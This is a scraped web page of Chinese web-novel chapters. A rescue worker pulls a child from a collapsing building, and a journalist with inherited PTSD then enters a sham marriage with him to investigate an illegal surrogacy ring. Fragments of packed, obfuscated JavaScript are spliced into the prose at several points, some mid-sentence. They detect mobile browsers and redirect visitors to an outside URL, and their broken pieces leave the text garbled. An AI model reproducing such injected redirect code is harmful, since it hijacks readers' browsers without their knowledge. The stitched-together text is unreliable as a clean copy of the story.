l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816597|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 齐寻冲她伸手:“……手台。” “哦哦,”阿咩立刻将对讲机递给他:“我们的人都到了。” 齐寻皱眉,上身探出车外看了一眼,问:“危楼呢?” “警方那边连线了专家,要我们先疏散和救治追尾的伤者。” 齐寻接了对讲机,一边穿阿咩递来的反光背心,一边对黎叙闻道:“我顾不上你,你自己注意安全。事故车辆可能二次爆炸,别靠近。” 又扭头对阿咩:“保证她的安全。” 黎叙闻点头:“你也是,你才最要注意安全。” 齐寻抬头望了她两三秒,对她颔首,随即转身没入了兵荒马乱的急救现场。 “我们副队可强啦,”阿咩笑道:“从来都是他让我们注意安全,不用担心他。” 黎叙闻透过烟雾缭绕的前挡看他的背影,那一点荧绿的光芒,几乎瞬间就被熊熊黑烟吞没。 她眨了眨被粉尘刺痛的眼睛,想,那更应该多跟他说一句,万事小心。 齐寻迈过地上横七竖八的碎片和工具,在一片烟尘中艰难找到消防负责人:“肖队,什么情况?” 肖队扯着嗓子喊完一句:“别颠!担架抬稳!”才回过头来答:“雨后路滑,四车连撞,最前面的轿车司机轻伤,自己出来了。中间两辆的商务比较麻烦,前后变形严重,十六个人,驾驶员估计是不行了,我们的人正打算强行破拆。最后一辆也是车头变形,不过人没大碍。” “那个呢?” 齐寻指的是撞进居民楼里的双层大巴。 “躲事故结果打滑了,人手不够,紧着要命的来吧。” 齐寻抬头看那栋在夜色中伫立的六层危楼。 一二层直接被巨大的巴士车体撞碎了,碎裂的砂石和水泥块溅了一地,三层以上看起来完好,沉黑夜色中,一扇扇黑洞洞窗户,像巨兽漆黑的眼睛。 他胸口沉闷,好似被记忆里的那片废墟重新压住,深呼吸一次:“这楼很危险,你赶紧让所有人撤出危险区,要快。” “都说了先处理别的……” 齐寻按住他的肩膀,声音沉哑:“就当以防万一。” “微光救援队,我是白蛇,腾出三个人,跟我进危楼。”齐寻的声音透过对讲机,掺着杂音嘶啦传来。 阿咩咦了一声:“不是说先不管危楼吗?” 黎叙闻拍好周边全景,上车刚好听到这一句,转身对阿咩道:“走吧。” 两人穿上反光背心,进了现场。 越靠近事故中心,刺鼻的气味越重,两名消防员正用液压扩张器破拆商务车车门,令人牙酸的金属破裂声中,似有人在难忍地低声呻.吟。 黎叙闻注意力全在两辆变形的车上,没注意脚下,这时候忽觉脚底一软,她低头看去,自己的银色平跟鞋正踏在一滩血水里,而她踩到的是…… 她耳边嗡地一声,心底有什么东西轰然沸腾。 黎叙闻吞咽一次,忍住胃里的翻江倒海,不动声色用身体遮住那块血肉,转头对阿咩道:“这里拍差不多了,我们去别处。” 阿咩不疑有他,问:“你脸色不太好呀,要不要先回车上?” 黎叙闻摇头,尽量把颤抖的尾音藏起:“不用。我们去危楼看看。” 5. 第 5 章 齐寻那边带着三个人,抵达变形的双层巴士旁。 巴士高约5米,质量过大,打滑时没来得及减速,一头栽进了街旁的底商门店中。 一层小吃店直接被顶进楼里,连带着吞了二层大半,只剩一个孤零零的窗框,摇摇欲坠地挂在旁边突出的钢筋上。 空气中弥散着飞扬的烟尘,远处救援的声音都缥缈地远去,周围奇异地安静。 齐寻站在楼体细细开裂的居民楼前,又回到了十年前那场大地震的余震里。 那时候他见过太多这样看起来坚实、但内里早就溃散的危楼,也见过太多舍不得自己毕生心血、心存侥幸拒绝撤离,最后跟危楼融为一体的人。 但他没时间伤怀,指了两名队员:“去把里面还在等救援的司机接出来,车门变形就直接破窗,五分钟内解决。” 然后又转身对另一个道:“小熊跟我进去,再查一遍。” 小熊长着一张娃娃脸,体格壮实,答应一声才问:“里面还有人吗?” 齐寻指了指车头后方的废墟:“这里声音不太对。” 靠近废墟的第一秒,他就感受到了乱石深处的异样。 有细微但持续的金属敲击声,好像是一颗心脏,正微弱但拼命地跳动。 另一名队员举手反对:“白蛇,你不是不能进楼么,要么换个人?” 齐寻道:“换个人,能听见受困者位置吗?” 那名队员动了动嘴唇,欲言又止。 齐寻看他一眼,转身要走,想了想又回身对他道:“如果绳索松动,立刻通知我,三秒内没回应,你们即刻撤离。” 一楼二楼楼体严重,基本已经碎了,三楼的通道也被全部堵死,两人身上绑好安全绳,用绳枪固定了绳索,踩着废墟从楼体外墙迅速攀进四楼破窗内。 齐寻一马当先,压低声音对身后的小熊道:“五分钟,没有异常就撤,动作要轻,不要弄出大动静。” 这种危楼最怕内部的震动,稍微疏忽,就会造成局部坍塌。 小熊吞咽一次,小心翼翼地点头。 四层地形比齐寻想象的复杂,明显被隔出了许多隔间,于是内部堆积物比预想的多很多。 更不利的是,他从进入楼体的那一刻,心脏就跟疯了一样,在胸腔里猛撞,让他呼吸都稳不下来。 他深深咽动一次,屏住呼吸俯下.身,尽量降低重心,淌过一片嶙峋的碎石块,仔细分辨着这里每一处底噪。 暮春的晚风裹挟着拆卸车体的声响,从破碎的窗框吹进来,外面越喧闹,就显得这片漆黑的失落之地越寂静。 时间一分一秒过去,小熊在他身后悄声道:“还有两分钟。” 齐寻翻过一扇断裂的门板,脚步蓦地一顿,紧接着,左手在耳边缓缓竖起一根手指。 小熊一愣,瞬间快速上前:前方有一名生还者! 两人快速扫开遮挡,里面露出了一个四五岁的孩子,正哑着嗓子细细地抽泣,同时手上不停地敲击着身边的钢筋。 他听到的那一阵脆弱但坚定的搏动,就是这孩子,在绝望地求救。 齐寻心口一抽,俯身抱起孩子,还准备往前探寻,忽然,一声异响像锉刀一样忽然贴着他的后脑,刮骨一样搓了过去! 低沉的裂纹声如潮水涌动,接着又是一声尖锐的脆响,仿佛某种巨物的骨架被生生折断。 咔嚓。 这声音很快游动到外围,出口处猛然传来一阵砂砾下落的簌簌声,一块早已松动的石块随着这前奏砰然砸下。 紧接着,手台中便传来外面队员声嘶力竭的呼喊:“白蛇!支点松了!” 齐寻立刻转头对小熊道:“原路翻出去,要快,快!” 小熊背后全是冷汗,却没丝毫迟疑,两人迅速冲到出口,固定绳结果然在一块裸露的钢筋处摇摇欲坠。 这攀爬条件,根本撑不住两个人。 齐寻当机立断,把孩子塞给小熊,声音低而稳:“你带他先走,我随后就来。” 他扫了一眼小熊裸露的双手,褪下手套塞给他:“动作快。” 小熊带着鼻音:“哥……” 齐寻推一把他的头:“你注意点,别让我砸你头上。” 可毕竟四层楼的高度,而且地面全是水泥块和废钢筋,就这么无保护地徒手跳下去…… 情势逼人,他没得选。 他顺势把小熊连人带孩子往前一推:“去吧。” 小熊吸着鼻子从绳索迅速下降,齐寻低头重新拉紧支点,余光扫到楼下,视线诧异地一顿。 那个刚刚在咖啡厅咄咄逼人、要跟他协议结婚的女人,动作麻利地接过小熊怀里的孩子。 抱住孩子的一瞬间,她仰头向上张望,眼神穿过滚滚烟尘,落在他的身上。 齐寻有一刹那恍惚。 他听见了十年前,她在废墟外让他心碎的哭声。 逃生的动作不受控地凝滞了一瞬。 这时候,脚下的楼板蓦地发出了沉哑的咯吱声。 碎裂楼板本就脆弱,刚刚小熊和孩子的体重又给这歪扭的支点雪上加霜。 齐寻猛地回神,不再犹豫,拉好身上的安全绳,深呼吸一次,双手撑地向下一跃,握住绳索,几乎从高空一滑而下。 与此同时,钢筋发出不堪重负的钝响,一点一点,从固定的石块中慢慢地、慢慢地脱出。 粗粝绳索在他掌心留下火辣的痛感,到最后,绳子表面甚至留下了一道暗红的血迹。 几乎在他双脚落地的瞬间,支点钢筋骤然崩裂,从十米高空坠下,同一时间,整栋建筑开始发出细碎的、不祥的震颤。 齐寻躬身就势向前一滚,几乎没有停顿地起身,一边扯安全绳,一边踩着一地碎石板拔足狂奔! 夜风在他身边呼啸而过,肺里吸入了太多烟尘粉末,稍一扩张就磨得生疼,可他不敢减速,咬紧了牙关奋力冲刺。 直到他在一片混乱中冲过黄色隔离带,有人扶住他的肩膀,他才喘息着抬起头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816598|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 孩子撕心裂肺的哭声中,他看到了黎叙闻苍白而关切的脸。 他表情空了一瞬,顾不上别的,一把将她推开:“站远些,不要……” 黎叙闻只听清他前半句,后半句叮嘱,被淹没在一声轰然的巨响之中。 她茫然地抬头看,带着齐寻刚刚逃生的黄色绳索的半扇二楼,在一片遮天蔽日的烟尘中,轰然倒塌。 整个世界的声音忽然像潮水般远去,周围已经撤离的人群抱着头四散躲避,警察和消防员声嘶力竭地呼喊,齐寻在她面前,面色焦虑地说着什么。 他在说什么,黎叙闻听不见,只看见一片扑面的灰白烟尘中,他的嘴唇在不停开合翕动。 为什么动不了,身体每个部分都不听使唤,连时空也错乱了。 就好像她又被拉回到了某个失落的世界,在那里,也有什么东西,当着她的面,无望地寂然坍塌。 废墟下面……有人,有人在等着她。 有人在那里,等了她好多年。 这道念头无端端从她混沌的思绪中破尘而出,身体先于理智跟从它的召唤。 黎叙闻盯着远处的颓垣断堑,竟间不容瞬地,抬脚向它走去。 “黎叙闻?”齐寻一把钳住她的肩膀,在她耳边大声呼喊:“闻闻!醒醒!” 她被这一声猛地拉回现实。 齐寻单手托起她下巴,在她脸上抹了一把:“你哭什么?” 黎叙闻怔然地抬手摸脸,那里竟然一片潮湿。 身边的人群忙乱地奔波,有医护人员从她手上接走了孩子,跟齐寻说了两句话,又匆匆离开。 她忽然掉头就走。 齐寻伸手扣住她的肩膀,强迫她转身,压低身体,一双沉黑的眼睛盯住她的脸。 她被盯得本能地想逃,刚要挣扎,却被齐寻拽住手腕,一用力,直接单手将她圈在身前。 他声音带着吸入粉尘的哑涩:“你是不是……” “不是。” 黎叙闻拨开他的手,还是转身要走。 齐寻紧紧跟在身后:“跟我去医院。” “不需要。” 齐寻轻啧一声,两步跨到她身前,彻底挡住她的去路。 黎叙闻皱着眉抬头,倔强脸上满是灰烬,看上去要跟拦她的人不死不休。 但她失焦的眼睛出卖了她。 身旁嘈杂人流匆匆而过,徒留两人一身尘烟,在嗡煌的噪声中对峙,像一块湍急奔涌河流中的礁石,尖锐地分开人海。 “让开……”黎叙闻抬手推他。 一抹红色却忽然划过她的眼角。 她定睛一看,手腕上竟然是一片温热的锈红。 她瞪大眼睛,抓起齐寻的手掌看——他两只手掌在逃生时被绳索磨得稀烂,此刻就这样鲜血淋漓地摊在她面前。 那双手触目惊心,可齐寻像是浑然不觉。 “我们还没聊完,跟我去医院。”他反握住她的手:“你的要求……我可以考虑。” 6. 第 6 章 这场救援终结束时,整个京屿已经陷入了寂静沉睡。 可夜间急诊室里的人声鼎沸和人仰马翻,却不输任何一个白天。 齐寻找来碘伏和绷带,草草将手裹了,然后靠在急诊的长椅上闭目养神。 倒是黎叙闻,被他塞给值班的精神科医生去做检查。 诊室私密安静,将隔壁急诊室忙乱的嘈杂全部关在门外。 医生问诊的声音轻缓平静:“曾经是否有过类似的场景?比如车祸、目睹人死亡、或是经历过什么灾难性事件?” “没有。” “是否感觉很难信任他人、或者回避某种特定的场合,甚至某些话题?” “没有。” “是否有创伤性应激障碍病史?” “……没有,问完了吗?” 医生审视着她的表情——虽然表面镇定,眉心却时不时抽动,视线飘忽,典型的解离症状。 他默不作声地滑开眼神,在病例上敲下几行药名:“开些药,先回去休息,实在撑不住再来复诊。” 她将药单团在手心,起身离开:“谢谢。” 打开诊疗室的门,一阵微凉的空气稍稍让她醒了神。 她望着不远处座椅上正仰头小憩的侧影,忽然想起,他们的相亲还没有结束。 那个人用考虑协议结婚作为条件,换她来医院做检查,现在她完成了自己的部分,该轮到他了。 齐寻靠在冷硬的靠背上,酸疼和乏力感一波一波涌上来,抽走了他所剩无几的精神。 命悬一线时他感觉不到累或者痛,就像他在危急时刻向身体贷的款,尘埃落定后,总要向他连本带利讨回来。 一阵很轻的脚步声从诊疗室方向传来,皮质鞋跟,步态轻盈,带着丝质裙摆轻柔的摩擦声由远及近,最后停在他身边。 她身上有淡淡的水生调香气,混合着从事故现场沾上的烟尘气味。 齐寻深吸一次:“坐。” “还好吗?”她轻声问。 “嗯。你呢?” “……我本来就没事。” 意料之中的回答。 齐寻睁开眼,扭头看她。 她安静地坐在他身边,几缕长发垂在耳侧腮边,在沾着些许烟尘的脸上投下影子。 医院灯光刺目且苍白,却寥寥几笔就勾出一幅静谧小像,每一根线条都晓畅如流。 齐寻沉默片刻,伸手去勾她掌心中的那团纸。 她被突如其来的体温所惊扰,蓦地将手指收得更紧,微凉指尖在他灼热手背一划而过,几乎带起一阵看不见的火星。 她转头,目光尖锐地与他对视:“这是我的隐私。” 齐寻手指变本加厉地探入她的掌心:“不是说没事?” 攥紧的掌心僵硬片刻,慢慢松开。 齐寻展开那张被她揉得满是折痕的药单,熟悉的字眼跃入眼帘。 ——为了平复震后创伤,这些药他也都吃过,不过那是很久以前了。 后来他做了录音师,加入救援队,那段残酷记忆几乎被他封存,唯一的入口,就是他一直在寻找的、在地震中陪他两天一夜的那个声音。 那时候,她说她叫“文文”。 这一刻之前,他还在犹豫她是不是自己要找的人,这一刻之后,他却觉得不用再问了。 声音一样,名字一样,连震后阴影都这么刚好,也对得上。 世上不会有这种巧合。 他悬在半空中十年的心,在此时此刻,在噪杂的、混着消毒药水气味的医院里,终于沉沉落了地。 ……终于找到她了。 他低头研读药单的功夫,黎叙闻已经把头发重新整理,清理了脸上残留的灰尘,又恢复了她一贯的利落干练。 她合上随身镜:“休息好了么?谈谈之前的事?” 齐寻把药单收起来,再抬头时,眼中带了些复杂的重量:“你说。” “我得到线报,旁边的地级县有人违法提供代孕服务。他们只接受熟人介绍,对外称自己是生殖辅助医学中心,只接待已婚夫妇,并且会查验结婚证的真假。” 黎叙闻坐正身体,将自己的想法和盘托出:“我要调查,就必须是已婚身份,要拿到真正的结婚证,否则很可能功亏一篑。” 齐寻越听越眉头紧锁:“挡人财路如杀人父母,这听起来……很危险。” 黎叙闻目光淡淡:“你放心,我只是要一张结婚证,等暗访结束我们就离婚,有什么危险,都落不到你头上。” 齐寻眉心一跳:“……你是觉得我贪生怕死怕被你连累?” “不是么?” 齐寻盯着她的脸,忽然笑了。 他瞳孔很黑,迫近看人的时候颇有气势:“既然我是这种人,为什么要选我?” 语气不太好听。 然而黎叙闻根本不怕他。 “第一,因为我很急,而你是我得到消息之后,第一个跟我相亲的人;第二,你是救援队的,同是社会工作者,我觉得你应该会认同我暗访的意义;第三……” 她眸光一顿,却没有往下说。 齐寻双手抱胸,淡声问:“第三呢?” 黎叙闻握住他的手腕,把他胡乱缠着绷带的手拉到自己面前:“第三,协议婚姻毕竟有风险,我需要确保我的结婚对象,是个世俗意义上的好人。” 她取了消毒工具和碘伏,慢慢解开麦色手掌上歪七扭八的包扎,重新把他伤口处的灰尘冲洗一遍:“你帮过我,我也见过你在救援现场的奋不顾身,所以,你应该是一个值得信赖的人。” 这个人救过她,也救过很多人。她不确定这种信赖是否经得起推敲,但至少眼下,她别无选择。 齐寻垂眼盯着她散着柔光的发顶,神色微微动了动。 放在她膝盖上的左手,在她掌间显得那么宽大,她一只手扶不过来,最后只能整只手压住他的五指,才找好角度细细上药。 手心被消毒的刺痛中,她的七夕带起一阵阵的痒,痒得他很想握住手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816599|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌,把她细长的手指握进自己的伤口里。 一只手包扎好,她又换了另一只,手上动作轻柔,说出来的话可不柔软:“既然是协议婚姻,那就该是银货两讫的交易,两个人都提出条件才公平。我说完了,你呢?” “交易”两个字在齐寻眉间又掀起波澜。 他没有回答,转而道:“如果我不答应,你准备怎么办?” “那就再想办法。” “就没想过放弃,或者把案子给别人?” 黎叙闻在他右手手背打好了结,抬头平静地看着他:“不可能。” 她起身,抬手将垃圾精准地扔进了垃圾桶,回头对他道:“这是我的独家,没有人可以从我手里抢走。你要是不答应,就让一让,我好再去物色新的人选。” 她语气冷硬得像一张寒弓,把春日凌晨沁凉的空气拉得极紧,绷在两人对视的目光中,一触即发。 齐寻注视她片刻,也慢慢站起身。 近二十公分的身高差让黎叙闻不得不抬起下巴跟他对视,两人高低位置倏而调换。 “我可以答应你,”他视线下挑:“当然,我也有条件。” 黎叙闻抱着双臂,指尖深深扣住大臂内侧的皮肤:“什么?” 齐寻弯下腰,上半身跟她猛地贴近,灼热的呼吸与她的骤然紧贴。 黎叙闻本能地想后退,瞳孔猛地一缩,却撑住了没躲。 齐寻盯着她眼中倒映着的自己,道:“你每一次行动,我都要参与。无论暗访是什么状况,我都要第一时间知情,并保留自己行动的权力。” 黎叙闻在他冷冽气息中,不由地一愣。 这是什么条件? 他若是要钱、要名、要她帮忙挡掉长辈的催婚,抑或是想要通过她搭上商报的关系,她都可以理解。 但什么叫“每一次行动我都要参与”? 她闭了闭眼,耐着性子:“……记者暗访不是什么好玩的事情,有时候……甚至有人身危险。” “我曾跟特战退役的教官训练,山区救援,我是全队唯一一个徒手攀岩、抵达救援地点的人;东南亚丛林救援撤离,我带两个伤员在夜里绕开三伙武装分子,五小时安全抵达营地。” 他停了停,又道:“不是危险么,只要你别正面对上正规军,我都有把握带你全身而退。” ……这都不能说是可圈可点,这在黎叙闻看来,简直是天上掉馅饼的天方夜谭。 黎叙闻怔愣着问他:“你图什么?” 齐寻站直身体,轻笑了一声:“不知道,可能是图你那句‘你是个好人’吧。” 黎叙闻缓缓皱起眉头——她有种不祥的预感。 他答应了,自己得偿所愿,明明值得庆幸,她却莫名生出一种…… 被拉入更深的真相的错觉。 这种感觉来得突兀,甚至在她心里搅起一阵微妙的、失去掌控的不安。 “走吧,”齐寻转身,话说得极认真:“回去睡一下,别耽误明天领证。” 7. 第 7 章 一路折腾到凌晨,黎叙闻几乎在脑袋沾到枕头的那一秒,就迈进了梦里。 又是那个她梦见过无数次,但现实中毫无印象的废墟,天空中沉云压顶,脚下全是青黑灰白的碎石和水泥块,偶有带着螺旋纹的黑色钢筋刮在她脚边,而她就在碎瓦颓垣中漫无目的地游荡。 不,这次不一样了。 不远处有一幢烂尾楼,一排排地张着黑洞洞脏兮兮的方形眼睛,一层和二层整个被掏了个黝黑的大洞,像一张不满足的大嘴,等着她过去自投罗网。 她站得老远,却偏偏看清烂尾楼的二层,吊着一个人。 他穿着反光背心,单手挂在二层的窗口,里面正爬出一只硕大的蜘蛛,一根一根啃噬他的手指。 他面无表情回头看她,黎叙闻在梦里都惊叫了一声。 这男人长着齐寻的脸。 黎叙闻胸口一片麻木,双腿不听使唤地向那栋烂尾楼奔去,几十米的距离,她腿都跑酸了,却怎么都到不了。 最后,她眼睁睁看着齐寻松了手,摔在底下嶙峋的废墟里,紧接着,整栋楼就在他的身上轰然倒塌。 黎叙闻冷汗涔涔地睁开眼睛。 ……很标准的噩梦。 目标明确,结构清晰,不但调用了往日最高效的吓人素材,还整合了最新收集的资料,毫无痕迹地融为一体。 她苦笑一声,认命地坐起来,看了眼手机,凌晨四点。 不睡了,起来写稿! 一篇细节丰富的新闻稿写完,她第一时间上传后台,又顺手挂了张假条。 今天可是大日子,要跟人领证的。 “领证”这两个字出现在她脑海里,黎叙闻忽然停下了打字的手。 她……要跟人结婚了? 东边的天际已经擦上了亮色,墨黑天空中,浮起一线很浅的幽蓝,将流进窗口的夜色兑成一片荡漾的海。 海水一浮一沉地刮擦在她耳边,轻声问,你真的想好了吗。 你真的要为了一群素不相识的人,跟一个陌生人绑定关系,搭上自己的婚姻吗。 你真的这么勇敢,跟你爸爸不一样,不是一个懦弱的失败者吗。 她慢慢把自己蜷在椅子上,跟着这些她回答不了的问题载沉载浮。 最后,她终于决定给妈妈打个电话。 那边很快就接了。 钟郁青坐在家里厨房的岛台前,背后是亮着灯的烤箱,年过半百气质越发闲适优雅。 跟黎策简直天壤之别。 黎叙闻把手机摆在桌上:“钟女士。” “这么早啊,你那边还不到五点,怎么了?” “做了个梦,醒了。” “什么梦呀?”钟郁青声音莫名紧张:“噩梦?是不是你爸那种?” ……又来了。 钟郁青可以说是个模范母亲,有魄力,能力强,当年果断离开黎策,带着她漂洋过海,从一家淘宝店干到了现在的跨境电商,给了她最好的生活。 只有一点,就是她总有一些……莫名其妙的紧张。 果然,钟郁青接着就苦了脸:“让你不要回国,不要做记者……我当时要是不跟你爸结婚就好了,也不会害你遗传他……” 黎叙闻苦笑一声,简直头疼。 她怀疑钟郁青宠她宠得有求必应,不是因为她是她女儿,而是因为她觉得嫁错了人,对不起孩子。 但这一次,黎叙闻没多做纠缠,反而问:“但以前……你跟我爸感情很好啊?” “感情再好也是会变的。” 黎叙闻默了默,小声哦了一下。 “那……带着我跑那么远,吃了那么多苦,你后悔吗?” 钟郁青终于沉默下来。 但不多久,她摇摇头:“那时候是苦了一点,但我还是不后悔。那个时候……不带你离开,我真的不知道该怎么保护你。” PTSD的易感体质具有遗传性,黎叙闻很不巧地遗传了黎策的PTSD高敏特质,极易被一些场面诱发精神紧张,且不易排解,累积到最后,就会像黎策那样,永远迷失在残酷的战场。 “闻闻,你是不是遇到什么事了?” “也没有,就是……”黎叙闻深呼吸一次,试探道:“如果我一冲动,做了件错事,该怎么办?” 钟郁青隔着屏幕,一瞬不瞬地盯着女儿:“什么错事?会变得像你爸一样吗?” 黎叙闻挂掉了电话。 说来奇怪,打过那通电话后,黎叙闻在晨间渐起的喧嚣里,反而睡得酣甜无梦。 等她一觉醒来,已经过了十一点,她人还没清醒,先眯着眼看了一眼媒体号,交的稿子已经上了头版,她忍着胃中翻涌拍的现场照片也都被处理得当,事实与情绪交错冲击,效果很不错。 她翘着嘴角,手指一路下滑,在划到其中一张时,指尖一顿,图片骤然放大。 屏幕上是昨晚上摇摇欲坠的二楼窗框,小熊抱着孩子,正从安全绳上滑下。 而齐寻半跪在上面,双手固定着绳索,正好抬起头,穿过尘土和浓烟,与她的镜头的对视。 手机镜头像素远比不上专业相机,距离也算不上近,他连面目都是模糊的,但此时此刻的黎叙闻,隔着一段错身而过的时空,竟在他脸上看到了一点迷茫。 后来齐寻顺利逃生,硬将她拉去医院,两人甚至剑拔弩张地吵了一架,可他们在一起的一整晚里,他再没有露出过这样的表情。 那个时候……他是在犹豫吗? 黎叙闻关掉APP,切回微信,除了马颂今连续几条“让你去相亲你怎么跑现场去了!醒来给我回电话!”的轰炸,还有一个对话框静静地亮起红色数字。 齐寻:醒了? 她看了一眼发信时间,正是媒体号发布那条新闻的时候。 ……这人根本不睡觉的吗。 叙我所闻:醒了,你几点方便?我们直接民政局见。 那边蹦出一条语音,黎叙闻点开,他声音带着点倦意的哑:“你收拾一下,准备好了就下来,我买了早饭。” 顺便附上一张图片,里面是领证和拍照的一系列注意事项。 黎叙闻咦了一声,从床上爬起来,奔到窗边往下看。 16层,什么细节都看不到,只能看到一面方方正正的车顶,在阳光下闪着一点反光,车边似乎还靠着一个人影。 黎叙闻发了语音过去:“你早来了?” 齐寻:刚到。 这两个字,在半小时后,被黎叙闻小区门口的停车杆毫不留情地戳破。 黎叙闻坐在副驾驶,嘴里含着一口鲜肉烧麦,听见机械女声毫无怜悯的声音:“京F3X58,停车时间2小时56分,请缴费40元。” 她饶有兴味地挑眉:“我们小区停车费竟然能超过二十块,不便宜哈。” 齐寻眼下带着浅浅的青黑,没搭腔,面无表情交了费。 被他的默许纵容挑起了兴致,黎叙闻吃着人家买的早点,嘴上还使坏:“所以仓库那晚之后……你是怎么找到我的?” 齐寻目不斜视地开车:“我看到了商报的报道,拜托相熟的新闻录音师前辈帮忙引荐了你们总编,表达了一下我想跟商报有更多合作的意愿。” 黎叙闻志得意满偏过头,指尖轮番敲着车窗沿:“然后?” “然后他问我结婚了没有,有没有女朋友,还说他有个侄女,人很漂亮,又优秀,问我要不要见个面。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816600|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >黎叙闻:…… 老马头这是多急着把她推销出去! ……领证第一天,绝不能落了下风,休想用这个压她一头。 她不动声色地追问:“可是你为什么要找我?” 齐寻眉间一动,视线在她那边的后视镜上短暂地一停,没有立刻回答。 黎叙闻弯起眼睛,目光去捉男人紧抿的唇角:“哦,一见钟情。” 齐寻喉头一滚,用眼角睨她:“你经常被人一见钟情?” 终于扳回一局,黎叙闻心情不可谓不好,她抽了张面前的纸巾,笑道:“没关系,你钟情你的,不用管他们。” 正好遇上前方红灯,齐寻停了车,挑着眉转头去看她。 为了领证,她穿了件白衬衫,卷发束起一半在脑后,另一半松散地披在肩上,脸上未施粉黛,却在漏进车窗的剔透阳光里,笑得鲜活明艳。 在他的想象里,文文就该是这副样子。 齐寻笑笑,对“一见钟情”四个字,鬼使神差没有反驳。 两枚钢印重重落下,像敲定了某种命运纠缠的箴言。 黎叙闻打开其中一本鲜红的证书,对着阳光,仔仔细细地看。 照片上的两人看着很登对,齐寻也只穿着简单的白衬衫,领口松松地敞开,露出一段小麦色的锁骨,连上挺拔有力的颈部线条。 他下颌线因为向身边的人靠近而微微绷着,锋利轮廓都被他翘起的唇角磨成了绕指柔。 再往上,黎叙闻看到了一双让她恍然的眼睛。 他眼型原本生得锋锐,这时候看向镜头的眼神跟他日常带着点漠然的冷淡不同,像是一种得偿所愿后,释然的笃定。 黎叙闻站在盛夏午后的日光中,盯着那张红底合影,照片上她自己的面容都因为反光而模糊起来。 她又想起昨晚的那张照片里,齐寻露出的那个茫然的眼神。 “齐寻?” 靠在车边等她的人抬起眼,示意她问。 “昨天,你队友抱着孩子下来,留你一个人在上面的时候……你在想什么?” 齐寻没回答,倒反问她:“那天晚上你在仓库,被火盆熏得要窒息的时候,你在想什么?” 黎叙闻一愣,慢慢道:“如果非要说的话……可能是都走到这一步了,无论如何,这件事我要做完。” “我也一样,都走到那一步了,再没有办法,也得撑下去。” 黎叙闻望着他波澜不惊的脸,忘了手上开车门的动作。 原来他也不是不会犹豫的,他只是跟她一样,拒绝去想不如人意的后果。 因为他也跟她一样,有自己必须完成的使命。 她盯着他的时间太久,久到齐寻都开始皱着眉问她:“看什么?” “没什么,”黎叙闻摇摇头,坐上副驾:“线人说代孕机构那边很谨慎,我们可能得去买一对……” 话没说完,手心里就被放进一个冰凉的物件。 她低头一看,是一枚银亮的戒指,样式素雅简单,闪着炫目的光芒。 身边人面无波澜地把大的那枚套在自己左手无名指上:“试试尺寸,不行我去换。” 黎叙闻茫然地看着掌心的戒指,轻轻捻起来,想,这出戏…… 怎么越来越真了? 齐寻见她盯着戒指久久不动,默了默,道:“问剧组道具老师借的,不用太当真。” 黎叙闻眨眨眼,假装没看到戒圈内里镌刻的“CartierPT950”,轻轻把它套在自己的指根。 意外地合适。 看来2小时56分不是他的极限,是卡地亚门店的极限。 她扭头,对他露出一个粲然的笑:“合作愉快,我的搭档。” 8. 第 8 章 黎叙闻饭都没顾得上跟她的结婚搭子吃,领了证就赶紧回了报社,想赶紧让老马松口,放她去外勤。 结果左脚刚踏进大门,同组编辑小茉就凑上来,对她耳语:“总编让你去他办公室呢,脸色可不太好。” 黎叙闻撤回迈进门的动作,转身就想走。 “没用,”小茉道:“他刚在窗口看见你了。” 于是黎叙闻只能硬着头皮,在小茉同情的目光里,敲响了总编办公室的门。 马颂今坐在他那张宝贝红木办公桌后,正用茶杯盖抿着茶里的浮沫。 黎叙闻决定趁他没开口,率先打断施法,先声夺人:“马叔你有没有看我的报道?写得是不是特别好?” 她且等着老马点头,跟上下一句“那就快放我去查代孕呀”。 谁知道马颂今从老花镜上方扫她一眼:“跟谁玩心眼子呢?” 黎叙闻:…… 烦人! 要是全世界都像齐寻那么好对付就好了。 “好好的相亲,你又跑了,”马颂今法令纹深得像木偶:“我把你薅到这来,是为了让你拼命的?” 黎叙闻冷笑了声:“对,是让我来养老,让整个商报围观我这个关系户的。” 老马啧了声:“你别理他们不就完了?” “……到底要怎样你才让我去外勤!” 马颂今哼了声:“行了,稿子写得不错。这样,我批准你做资料搜集和外围调查。” 这可不是一般的胜利,这是护崽的老母鸡终于松口了! 黎叙闻高高兴兴答应一声,扭头就走。 马颂今在她身后一拍脑袋:“哎对,昨天的相亲怎么样?那小伙子,有戏不?” 黎叙闻手放在门把手上,向下按了一半,又回过头,笑道:“挺好的,我决定跟他深度接触。” 